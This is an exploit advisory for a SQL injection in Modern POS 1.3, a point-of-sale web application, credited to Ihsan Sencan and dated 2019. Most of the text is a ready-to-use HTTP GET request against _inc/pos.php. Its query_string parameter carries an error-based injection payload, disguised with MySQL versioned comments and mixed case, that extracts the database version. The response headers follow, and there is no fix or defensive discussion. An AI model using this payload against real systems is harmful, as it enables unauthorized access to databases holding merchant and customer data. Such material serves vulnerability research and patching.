Modern POS 1.3 SQL Injection

`# Exploit Title: Modern POS 1.3 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-13  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://itsolution24.com/  
# Software Link: https://codecanyon.net/item/modern-pos-point-of-sale-with-stock-management-system/22702683  
# Version: 1.3  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/_inc/pos.php?query_string=[SQL]&category_id=&field=[SQL]&action_type=PRODUCTLIST  
#   
  
GET /[PATH]/_inc/pos.php?query_string=Efe%27||(/*!11111SElecT*/+%27Efe%27+/*!11111FRom*/+/*!11111DuAl*/+/*!11111whERE*/+6=6+/*!11111anD*/+(/*!11111SEleCT*/+6+/*!11111FRoM*/(/*!11111SELECT*/+COuNT(*),/*!11111CONCAT*/(@@verSion,(/*!11111seleCT*/+(ELT(6=6,1))),/*!11111FLoOR*/(RAnD(0)*2))x+/*!11111FRoM*/+/*!12345InFOrMaTION_SchEmA.plUgINS*/+/*!11111grOUP*/+/*!11111by*/+x)a))||%27&action_type=PRODUCTLIST HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=074b581c124d1caf5df3477995946ea8; cpsession=%3aRoGDGcVEun7oqKs9%2c4760d80be71792470b1f6ebfd8f4c0a5; timezone=Asia/Baghdad  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 422 Unprocessable Entity  
Date: Sat, 12 Jan 2019 23:25:05 GMT  
Server: Apache  
X-Powered-By: PHP/7.2.13  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Transfer-Encoding: chunked  
Content-Type: application/json; charset=UTF-8  
  
`